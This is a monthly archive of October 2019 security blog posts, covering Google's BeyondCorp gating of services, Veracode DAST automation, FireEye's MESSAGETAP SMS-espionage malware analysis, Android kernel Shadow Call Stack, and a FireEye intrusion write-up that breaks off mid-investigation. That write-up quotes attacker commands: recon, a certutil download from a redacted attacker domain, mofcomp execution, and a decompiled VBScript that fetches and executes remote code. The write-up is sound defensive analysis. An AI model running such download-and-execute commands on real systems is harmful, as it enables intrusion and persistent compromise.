Monthly Archives: October 2019

How Google adopted BeyondCorp: Part 4 (services)



Intro
This is the final post in a series of four, in which we set out to revisit various BeyondCorp topics and share lessons that were learnt along the internal implementation path at Google.

The first post in this series focused on providing necessary context for how Google adopted BeyondCorp, Google’s implementation of the zero trust security model. The second post focused on managing devices - how we decide whether or not a device should be trusted and why that distinction is necessary. The third post focused on tiered access - how to define access tiers and rules and how to simplify troubleshooting when things go wrong.

This post introduces the concept of gated services, how to identify and, subsequently, migrate them and the associated lessons we learned along the way.

High level architecture for BeyondCorp

Identifying and gating services

How do you identify and categorize all the services that should be gated?

Google began as a web-based company, and as it matured in the modern era, most internal business applications were developed with a web-first approach. These applications were hosted on similar internal architecture as our external services, with the exception that they could only be accessed on corporate office networks. Thus, identifying services to be gated by BeyondCorp was made easier for us due to the fact that most internal services were already properly inventoried and hosted via standard, central solutions. Migration, in many cases, was as simple as a DNS change. Solid IT asset inventory systems and maintenance are critical to migrating to a zero trust security model.

Enforcement of zero trust access policies began with services which we determined would not be meaningfully impacted by the change in access requirements. For most services, requirements could be gathered via typical access log analysis or consulting with service owners. Services which could not be readily gated by default ACL requirements required service owners to develop strict access groups and/or eliminate risky workflows before they could be migrated.

How do you know which trust tier is needed for every service?
As discussed in our previous blog post, Google makes internal services available based on device trust tiers. Today, those services are accessible by the highest trust tier by default.

When the intent of the change is to restrict access to a service to a specific group or team, service owners are free to propose access changes to add or remove restrictions to their service. Access changes which are deemed to be sufficiently low risk can be automatically approved. In all other cases, such as where the owning team wants to expose a service to a risky device tier, they must work with security engineers to follow the principle of least privilege and devise solutions.

What do you do with services that are incompatible with BeyondCorp ideals?

It may not always be possible to gate an application by the preferred zero trust solution. Services that cannot be easily gated typically fall into these categories:
  • Type 1: "Non-proxyable protocols", e.g. non-HTTP/HTTPS traffic.
  • Type 2: Low latency requirements or localized high throughput traffic.
  • Type 3: Administrative and emergency access networks.
The typical first step in finding a solution for these cases is finding a way to remove the need for that service altogether. In many cases, this was made possible by deprecating or replacing systems which could not be made compatible with the BeyondCorp implementation.

When that was not an option, we found that no single solution would work for all critical requirements:
  • Solutions for the "Type 1" traffic have generally involved maintaining a specialized client tunneling which strongly enforces authentication and authorization decisions on the client and the server end of the connection. This is usually client/server type traffic which is similar to HTTP traffic in that connectivity is typically multi-point to point.
  • Solutions to the "Type 2" problems generally rely on moving BeyondCorp-compatible compute resources locally or developing a solution tightly integrated with network access equipment to selectively forward "local" traffic without permanently opening network holes.
  • As for “Type 3,” it would be ideal to completely eliminate all privileged internal networks. However, the reality is that some privileged networking will likely always be required to maintain the network itself and also to provide emergency access during outages.
It should be noted that server-to-server traffic in secure production data center environments does not necessarily rely on BeyondCorp, although many systems are integrated regardless, due to the Service-Oriented Design benefits that BeyondCorp inherently provides. 

How do you prioritize gating?

Prioritization starts by identifying all the services that are currently accessible via internal IP-access alone and migrating the most critical services to BeyondCorp, while working to slowly ratchet down permissions via exception management processes. Criticality of the service may also depend on the number and type of users, sensitivity of data handled, security and privacy risks enabled by the service.

Migration logistics

Most services required integration testing with the BeyondCorp proxy. Service teams were encouraged to stand up "test" services which were used to test functionality behind the BeyondCorp proxy. Most services that performed their own access control enforcement were reconfigured to instead rely on BeyondCorp for all user/group authentication and authorization. Service teams have been encouraged to develop their own "fine-grained" discretionary access controls in the services by leveraging session data provided by the BeyondCorp proxy.

Lessons learnt

Allow coarse gating and exceptions

Inventory: It's easy to overlook the importance of keeping a good inventory of services, devices, owners and security exceptions. The journey to a BeyondCorp world should start by solving organizational challenges when managing and maintaining data quality in inventory systems. In short, knowing how a service works, who should access it, and what makes that acceptable are the central tenets of managing BeyondCorp. Fine-grained access control is severely complicated when this insight is missing.

Legacy protocols: Most large enterprises will inevitably need to support workflows and protocols which cannot be migrated to a BeyondCorp world (in any reasonable amount of time). Exception management and service inventory become crucial at this stage while stakeholders develop solutions.
Run highly reliable systems
The BeyondCorp initiative would not be sustainable at Google’s scale without the involvement of various Site Reliability Engineering (SRE) teams across the inventory systems, BeyondCorp infrastructure and client side solutions. The ability to successfully achieve wide-spread adoption of changes this large can be hampered by perceived (or in some cases, actual) reliability issues. Understanding the user workflows that might be impacted, working with key stakeholders and ensuring the transition is smooth and trouble-free for all users helps protect against backlash and avoids users finding undesirable workarounds. By applying our reliability engineering practices, those teams helped to ensure that the components of our implementation all have availability and latency targets, operational robustness, etc. These are compatible with our business needs and intended user experiences.

Put employees in control as much as possible

Employees cover a broad range of job functions with varying requirements of technology and tools. In addition to communicating changes to our employees early, we provide them with self-service solutions for handling exceptions or addressing issues affecting their devices. By putting our employees in control, we help to ensure that security mechanisms do not get in their way, helping with the acceptance and scaling processes.

Summary

Throughout this series of blog posts, we set out to revisit and demystify BeyondCorp, Google’s internal implementation of a zero trust security model. The four posts had different focus areas - setting context, devices, tiered access and, finally, services (this post).

If you want to learn more, you can check out the BeyondCorp research papers. In addition, getting started with BeyondCorp is now easier using zero trust solutions from Google Cloud (context-aware access) and other enterprise providers. Lastly, stay tuned for an upcoming BeyondCorp webinar on Cloud OnAir in a few months where you will be able to learn more and ask us questions. We hope that these blog posts, research papers, and webinars will help you on your journey to enable zero trust access.

Thank you to the editors of the BeyondCorp blog post series, Puneet Goel (Product Manager), Lior Tishbi (Program Manager), and Justin McWilliams (Engineering Manager).

Automate Dynamic Analysis Scans With New REST APIs

In today’s fast-paced, technology-driven world, security breaches have become an increasingly important priority for organizations; however, ensuring that your organization remains as secure as possible can be like trying to hit a moving target. One of the most common attack vectors that results in a breach is insecure web applications. Dynamic Application Security Testing (DAST) is one of the best ways to identify and remediate exploitable vulnerabilities in your web applications and reduce your risk of a breach.

With a shift towards DevOps and more rapid releases, the easiest way to accomplish DAST scanning is through automation. This allows developers and security teams to automatically kick off DAST scans directly from the tools they already use. The Veracode Dynamic Analysis REST APIs enable our customers to automate the core functionality of the solution within their chosen development and security processes. Specifically, the REST APIs enable development teams to build their own integrations to create, configure, schedule, run, and link their results back to the application profile, which can aggregate their scan results across multiple assessment types. This means that development teams can kick off and return DAST scan results without ever needing to leave their unique workflows and development environments. The REST APIs coupled with faster scan times even allow customers to integrate DAST scanning as a non-release blocking post-build action as a part of their CI/CD.

Veracode’s YAML and Swagger files leverage these APIs to make it easy to integrate Veracode Dynamic Analysis into your SDLC, ensuring that they can be broadly leveraged regardless of the development tool. For further information on the Veracode APIs, visit the Veracode Help Center.

How to automate dynamic application scanning

DAST scans take longer to return scan results than static analysis testing because they need to crawl and attack the live application the way an attacker would without bringing down the application. Due to this crawl-and-audit scanning process, DAST solutions can seem less DevOps friendly than other assessment types. This can result in push back from development teams when they are asked to include DAST scanning every time the pipeline runs.

The Veracode Dynamic Analysis REST APIs help address some of this push back. Now, instead of needing to take a separate step to initiate a DAST scan, development teams can integrate Veracode Dynamic Analysis into their SDLC or parallel security process and automatically kick off scans.

There are several approaches you can take to automate DAST scanning with the Veracode Dynamic Analysis APIs:

100% API Driven: This is a very flexible approach made for teams that have a high level of comfort with writing custom scripts and using APIs for automation. This approach allows customers to use Swagger documentation, JSON templates, and possibly sequential API calls to drive intended code, configuration, and scan reuse behavior.

UI Configured, API Scheduled: This hybrid model allows customers to configure their scans within the Veracode Dynamic Analysis UI and then leverage that configuration when setting up automation through the APIs. This enables customers to validate their configuration with prescan prior to integrating with the APIs and allows for more trial and error.

Below is an example of a recurring scan that starts every Friday, and the schedule expires after two instances.

Below is an example of a scan with Pause and Resume for black out period between 9-11pm.

Below is an example of how to set up Auto Login for authenticated scans.

Scan applications on private networks with Internal Scanning Management (ISM)

It’s best practice to carry out dynamic analysis scans before an application is released to production and then regularly when it’s in production to ensure that there are no new exploitable vulnerabilities in the application. The first round of scanning therefore must take place either during the test or QA phases of deployment, but often these environments are not reachable from the Internet as they are behind the firewall. The only way to automate DAST scanning in the CI/CD is to conduct a behind-the-firewall scan. Additionally, some applications, such as those that are used for financial operations and HR purposes or applications that contain sensitive, highly regulated data, always live behind a firewall as an added layer of security. Unfortunately, if the firewall is compromised, these applications can still be at risk of a breach if not regularly scanned.

Veracode Dynamic Analysis leverages Internal Scanning Management (ISM) to access applications behind the firewall. ISM establishes a secure connection to Veracode’s cloud and the network segment that hosts the target application. Unlike on-premise scanning appliances that typically have a one-to-one relationship between appliance and application, Veracode Internal Scanning Management allows organizations to scan multiple internal applications through a single endpoint. Additionally, this model does not require operational maintenance because all scan engine updates are carried out within the Veracode Platform. The Veracode Dynamic Analysis REST APIs allow for customers to automate internal scanning. Once a customer has set up ISM within the Veracode Dynamic Analysis UI, APIs can leverage the gateway and endpoint IDs to automatically kick off DAST scans on applications that live behind the firewall.

Why DAST: find exploitable vulnerabilities other assessment types overlook

When you go to your doctor for an annual checkup, she conducts several tests on you. Taking your temperature won’t surface issues with your liver, and a blood test won’t find a broken bone. Similarly, a comprehensive application security program needs several assessment types for due diligence of high-risk applications.

Dynamic analysis instruments a browser to actively attack the running application. As such, the vulnerabilities it finds are provably exploitable and not merely theoretical based on analyzing the source code, which reduces false positives. Dynamic analysis is also the only assessment type that can find security misconfigurations on the server because it assesses the running instance rather than the code. In a nutshell, one assessment type only gives you a partial understanding of your application risk; the only way to ensure that you have broad security coverage of your applications is to scan with multiple assessment types across your software development lifecycle.

Regardless of which combination of scanning technologies your team leverages, automating scanning ensures broader adoption of security testing among development and security teams. Veracode Dynamic Analysis’ REST APIs provide added flexibility for organizations to include DAST scanning in development and existing security processes by reducing the time teams must spend uploading, configuring, scheduling, and kicking off scans, ultimately helping our customers reduce their overall risk of a breach. For more information, please visit the Veracode Help Center or the Veracode Community.

MESSAGETAP: Who’s Reading Your Text Messages?

FireEye Mandiant recently discovered a new malware family used by APT41 (a Chinese APT group) that is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft. Named MESSAGETAP, the tool was deployed by APT41 in a telecommunications network provider in support of Chinese espionage efforts. APT41’s operations have included state-sponsored cyber espionage missions as well as financially-motivated intrusions. These operations have spanned from as early as 2012 to the present day. For an overview of APT41, see our August 2019 blog post or our full published report. MESSAGETAP was first reported to FireEye Threat Intelligence subscribers in August 2019 and initially discussed publicly in an APT41 presentation at FireEye Cyber Defense Summit 2019.

MESSAGETAP Overview

APT41's newest espionage tool, MESSAGETAP, was discovered during a 2019 investigation at a telecommunications network provider within a cluster of Linux servers. Specifically, these Linux servers operated as Short Message Service Center (SMSC) servers. In mobile networks, SMSCs are responsible for routing Short Message Service (SMS) messages to an intended recipient or storing them until the recipient has come online. With this background, let's dig more into the malware itself.

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds.  If either exist, the contents are read and XOR decoded with the string:

  • http://www.etsi.org/deliver/etsi_ts/123000_123099/123040/04.02.00_60/ts_123040v040200p.pdf
    • Interestingly, this XOR key leads to a URL owned by the European Telecommunications Standards Institute (ETSI). The document explains the Short Message Service (SMS) for GSM and UMTS Networks. It describes architecture as well as requirements and protocols for SMS.

These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages.

  • The first file (parm.txt) is a file containing two lists:
    • imsiMap: This list contains International Mobile Subscriber Identity (IMSI) numbers. IMSI numbers identify subscribers on a cellular network.
    • phoneMap: The phoneMap list contains phone numbers.
  • The second file (keyword_parm.txt) is a list of keywords that is read into keywordVec.

Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server. It uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP. Finally, the malware parses and extracts SMS message data from the network traffic:

  1. SMS message contents
  2. The IMSI number
  3. The source and destination phone numbers

The malware searches the SMS message contents for keywords from the keywordVec list, compares the IMSI number with numbers from the imsiMap list, and checks the extracted phone numbers with the numbers in the phoneMap list.


Figure 1: General Overview Diagram of MESSAGETAP

If the SMS message text contains one of the keywordVec values, the contents are XORed and saved to a path with the following format:

  • /etc/<redacted>/kw_<year><month><day>.csv

The malware compares the IMSI number and phone numbers with the values from the imsiMap and phoneMap lists. If found, the malware XORs the contents and stores the data in a path with the following format:

  • /etc/<redacted>/<year><month><day>.csv

If the malware fails to parse a message correctly, it dumps it to the following location:

  • /etc/<redacted>/<year><month><day>_<count>.dump

Significance of Input Files

The configuration files provide context into the targets of this information gathering and monitoring campaign. The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection. The two lists phoneMap and imsiMap from parm.txt contained a high volume of phone numbers and IMSI numbers.

For a quick review, IMSI numbers are used in both GSM (Global System for Mobiles) and UMTS (Universal Mobile Telecommunications System) mobile phone networks and consists of three parts:

  1. Mobile Country Code (MCC)
  2. Mobile Network Code (MNC)
  3. Mobile Station Identification Number (MSIN)

The Mobile Country Code corresponds to the subscriber’s country, the Mobile Network Code corresponds to the specific provider and the Mobile Station Identification Number is uniquely tied to a specific subscriber.


Figure 2: IMSI number description

The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor.

Similarly, the keyword list contained items of geopolitical interest for Chinese intelligence collection. Sanitized examples include the names of political leaders, military and intelligence organizations and political movements at odds with the Chinese government. If any SMS messages contained these keywords, MESSAGETAP would save the SMS message to a CSV file for later theft by the threat actor.

In addition to MESSAGETAP SMS theft, FireEye Mandiant also identified the threat actor interacting with call detail record (CDR) databases to query, save and steal records during this same intrusion. The CDR records corresponded to foreign high-ranking individuals of interest to the Chinese intelligence services. Targeting CDR information provides a high-level overview of phone calls between individuals, including time, duration, and phone numbers. In contrast, MESSAGETAP captures the contents of specific text messages.

Looking Ahead

The use of MESSAGETAP and targeting of sensitive text messages and call detail records at scale is representative of the evolving nature of Chinese cyber espionage campaigns observed by FireEye. APT41 and multiple other threat groups attributed to Chinese state-sponsored actors have increased their targeting of upstream data entities since 2017. These organizations, located multiple layers above end-users, occupy critical information junctures in which data from multitudes of sources converge into single or concentrated nodes. Strategic access into these organizations, such as telecommunication providers, enables the Chinese intelligence services an ability to obtain sensitive data at scale for a wide range of priority intelligence requirements.

In 2019, FireEye observed four telecommunication organizations targeted by APT41 actors. Further, four additional telecommunications entities were targeted in 2019 by separate threat groups with suspected Chinese state-sponsored associations. Beyond telecommunication organizations, other client verticals that possess sensitive records related to specific individuals of interest, such as major travel services and healthcare providers, were also targeted by APT41. This is reflective of an evolving Chinese targeting trend focused on both upstream data and targeted surveillance. For deeper analysis regarding recent Chinese cyber espionage targeting trends, customers may refer to the FireEye Threat Intelligence Portal. This topic was also briefed at FireEye Cyber Defense Summit 2019.

FireEye assesses this trend will continue in the future. Accordingly, both users and organizations must consider the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain. This is especially critical for highly targeted individuals such as dissidents, journalists and officials that handle highly sensitive information. Appropriate safeguards such as utilizing a communication program that enforces end-to-end encryption can mitigate a degree of this risk. Additionally, user education must impart the risks of transmitting sensitive data over SMS. More broadly, the threat to organizations that operate at critical information junctures will only increase as the incentives for determined nation-state actors to obtain data that directly support key geopolitical interests remains.

FireEye Detections

  • FE_APT_Controller_SH_MESSAGETAP_1
  • FE_APT_Trojan_Linux64_MESSAGETAP_1
  • FE_APT_Trojan_Linux_MESSAGETAP_1   
  • FE_APT_Trojan_Linux_MESSAGETAP_2    
  • FE_APT_Trojan_Linux_MESSAGETAP_3

Example File

  • File name: mtlserver
  • MD5 hash: 8D3B3D5B68A1D08485773D70C186D877

*This sample was identified by FireEye on VirusTotal and provides an example for readers to reference. The file is a less robust version than instances of MESSAGETAP identified in intrusions and may represent an earlier test of the malware. The file and any of its embedded data were not observed in any Mandiant Consulting engagement*

References

Acknowledgements

Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz for identification and analysis of MESSAGETAP at a FireEye Mandiant Consulting engagement.

What did you do for European Cyber Security Month?

Throughout October, cyber security experts have been helping Europeans understand the importance of effective information security practices as part of Cyber Security Month.

The campaign may be drawing to a close, but there is still plenty you can do to boost your awareness of cyber security risks. Let’s take a look at some of the biggest lessons we’ve learned in the past month, and what you can do to stay secure at home and in the workplace.

What should you remember about Cyber Security Month?

Advice came in many forms during Cyber Security Month, including a helpful infographic that provided some excellent tips for those using new software or hardware.

Among its suggestions are to:

  • Change default passwords when setting up an account;
  • Turn on automatic security updates; and
  • Review where you store personal data and who has access to it.

IT Governance also did its part to spread awareness of cyber security and the steps people can take to protect themselves.

We wrote several blogs throughout the month, explaining some of the biggest mistakes that lead to data breaches. For example, did you know that 77% of UK workers don’t receive cyber skills training and 23 million people use ‘123456’ as their password?

We also discussed the surge in cyber attacks over the past few years. This included our thoughts on a Hiscox report that found that 61% of organisations reported a data breach in the past year and two security experts’ opinions on the rise in formjacking attacks.

Likewise, we explained the after-effects of a data breach, and continued our monthly review of phishing scams and of the latest data breaches and cyber attacks.

Last, we reviewed the ramifications of British Airways’ 2018 data breach, which led to a potential £183.4 million fine, and the ways organisations can stem the near-constant flow of ransomware attacks.

It’s not too late to get involved in Cyber Security Month

There were events across Europe affiliated with Cyber Security Month throughout October, but it’s not too late if you want to get involved.

There are three events running in the UK in November:

On 5 and 6 November, professionals in the business continuity, cyber security, risk management and resilience sectors will gather in London to take part in workshops, explore case studies and listen to keynote speeches.

This conference takes place on 21 November in Manchester. It will feature speeches on how to implement strong security measures and how technological advancement creates opportunities and challenges for staying secure.

On the morning of 13 November, Adarma and Harry McLaren will discuss Security Operation Centres and the roles and responsibilities in that environment.

The event will include a presentation by Prof Bill Buchanan of Edinburgh Napier University.

These are by no means your only options if you want to be more active in the cyber security community. As professional and recreational interest in cyber security grows, there are increasing opportunities to take part in events.

The most popular UK events include the Cyber Security & Data Protection Summit, which takes place this year on 20 November, and the International Security Expo 2019 on 3 and 4 December.

All the latest cyber security news and advice

Do you want the latest advice on how to manage your cyber security risks? IT Governance regularly publishes webinars and green papers, providing free advice delivered by experts.

You might also want to sign up for our Weekly Round-up, which contains the latest cyber security news, advice and resources, as well as some of the best stories from around the web.

newsletter

The post What did you do for European Cyber Security Month? appeared first on IT Governance UK Blog.

Protecting against code reuse in the Linux kernel with Shadow Call Stack


The Linux kernel is responsible for enforcing much of Android’s security model, which is why we have put a lot of effort into hardening the Android Linux kernel against exploitation. In Android 9, we introduced support for Clang’s forward-edge Control-Flow Integrity (CFI) enforcement to protect the kernel from code reuse attacks that modify stored function pointers. This year, we have added backward-edge protection for return addresses using Clang’s Shadow Call Stack (SCS).
Google’s Pixel 3 and 3a phones have kernel SCS enabled in the Android 10 update, and Pixel 4 ships with this protection out of the box. We have made patches available to all supported versions of the Android kernel and also maintain a patch set against upstream Linux. This post explains how kernel SCS works, the benefits and trade-offs, how to enable the feature, and how to debug potential issues.

Return-oriented programming

As kernel memory protections increasingly make code injection more difficult, attackers commonly use control flow hijacking to exploit kernel bugs. Return-oriented programming (ROP) is a technique where the attacker gains control of the kernel stack to overwrite function return addresses and redirect execution to carefully selected parts of existing kernel code, known as ROP gadgets. While address space randomization and stack canaries can make this attack more challenging, return addresses stored on the stack remain vulnerable to many overwrite flaws. The general availability of tools for automatically generating this type of kernel exploit makes protecting against it increasingly important.

Shadow Call Stack

One method of protecting return addresses is to store them in a separately allocated shadow stack that’s not vulnerable to traditional buffer overflows. This can also help protect against arbitrary overwrite attacks.
Clang added the Shadow Call Stack instrumentation pass for arm64 in version 7. When enabled, each non-leaf function that pushes the return address to the stack will be instrumented with code that also saves the address to a shadow stack. A pointer to the current task’s shadow stack is always kept in the x18 register, which is reserved for this purpose. Here’s what instrumentation looks like in a typical kernel function:

SCS doesn’t require error handling as it uses the return address from the shadow stack unconditionally. Compatibility with stack unwinding for debugging purposes is maintained by keeping a copy of the return address in the normal stack, but this value is never used for control flow decisions.
Despite requiring a dedicated register, SCS has minimal performance overhead. The instrumentation itself consists of one load and one store instruction per function, which results in a performance impact that’s within noise in our benchmarking. Allocating a shadow stack for each thread does increase the kernel’s memory usage but as only return addresses are stored, the stack size defaults to 1kB. Therefore, the overhead is a fraction of the memory used for the already small regular kernel stacks.
SCS patches are available for Android kernels 4.14 and 4.19, and for upstream Linux. It can be enabled using the following configuration options:

CONFIG_SHADOW_CALL_STACK=y
# CONFIG_SHADOW_CALL_STACK_VMAP is not set
# CONFIG_DEBUG_STACK_USAGE is not set

By default, shadow stacks are not virtually allocated to minimize memory overhead, but CONFIG_SHADOW_CALL_STACK_VMAP can be enabled for better stack exhaustion protection. With CONFIG_DEBUG_STACK_USAGE, the kernel will also print out shadow stack usage in addition to normal stack usage which can be helpful when debugging issues.

Alternatives

Signing return addresses using ARMv8.3 Pointer Authentication (PAC) is an alternative to shadow stacks. PAC has similar security properties and comparable performance to SCS but without the memory allocation overhead. Unfortunately, PAC requires hardware support, which means it cannot be used on existing devices, but may be a viable option for future devices. For x86, Intel’s Control-flow Enforcement Technology (CET) extension will offer a native shadow stack support, but also requires compatible hardware.

Conclusion

We have improved Linux kernel code reuse attack protections on Pixel devices running Android 10. Pixel 3, 3a, and 4 kernels have both CFI and SCS enabled and we have made patches available to all Android OEMs.

Veracode Dynamic Analysis + Jenkins: Integrate DAST Into Your CI/CD Pipeline

It’s the age-old dilemma – balancing the need to ensure applications are secure with the need to release applications and updates on faster and faster schedules. With many teams adopting the principles of DevSecOps, and implementing security checks as early as possible in the SDLC, a key aspect of success is integrating security with the tools that development teams already use.

The Veracode Dynamic Analysis + Jenkins integration allows you to automate DAST scanning by creating post-build resubmit and review actions through the freestyle build or resubmit and review steps as part of the pipeline build.

Why integrate DAST scanning into your CI/CD?

To get the most comprehensive understanding of your risk, it’s best practice to implement multiple assessment types throughout the SDLC. In this way, you not only identify flaws in code, but also find exploitable vulnerabilities that have made it into production that could leave your organization open to a breach. One way to get a complete view into these exploitable vulnerabilities is to perform regular Dynamic Application Security Testing (DAST) scans on your web applications. DAST scanning can take place as early as test or QA but often is performed on runtime web applications to monitor the application for vulnerabilities that may not have been caught by earlier forms of testing.

In the past, DAST scanning was viewed as a slower assessment type and incompatible with more rapid development processes like CI/CD; however, thanks to a newly released integration between Veracode Dynamic Analysis and Jenkins, development teams can perform these critical checks as a part of their regular release cadence. This integration will leverage the tools and processes that development teams are already using and will make ensuring developer adoption a much easier task for the security team.

Creating post-build actions with freestyle or pipeline builds

Veracode knows that development teams use Jenkins differently, and that is why we have built in flexibility in how this integration can be used. With the freestyle builds, you can leverage Global Veracode API account credentials to set up resubmit and review actions.

Resubmitting Veracode Dynamic Analysis scans in Jenkins

Resubmitting your DAST scan will ensure that you are able to see the most up-to-date vulnerability data for your web application. With rapidly changing applications and an ever-evolving threat landscape, an application that was secure during one release pipeline may no longer be secure for the next. The ability to resubmit scans ensures that your teams are checking for exploitable vulnerabilities and remediating the ones that are found right from their Jenkins instance. You can configure each resubmit action for specific analyses as well as for scan duration, which will help your teams fit DAST scanning into their release pipelines.

Reviewing Veracode Dynamic Analysis results in Jenkins

Once your teams have run Veracode Dynamic Analysis, it is easier for them to review their results from within Jenkins instead of in the Veracode Application Security Platform. This integration allows you to review the DAST results of any linked application right in Jenkins and see whether your application meets or fails policy.

Failing the Build

It is important to note that development teams can automatically fail the build and stop the application from releasing if the application does not meet security policy. With the Veracode Dynamic Analysis + Jenkins integration, development teams can fail the build if:

  • A scan takes too long as part of the resubmit action
  • Results don’t return within a certain timeframe as part of the review action
  • The results fail policy as part of the review action

This ensures that your teams are unable to release insecure applications prior to a full security audit and will greatly reduce your risk of a breach.

Ultimately, integrating Veracode Dynamic Analysis into your CI/CD pipeline will help to make your web applications more secure. To learn more about setting up this integration, please visit the Veracode Help Center or reach out to Veracode Support.

CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that FireEye Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 

FOMBs AWAY!

Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

Options

Description 

-urlcache 

Display or delete URL cache entries

-split 

Split embedded ASN.1 elements, and save to files

 

-f 

Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).


Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

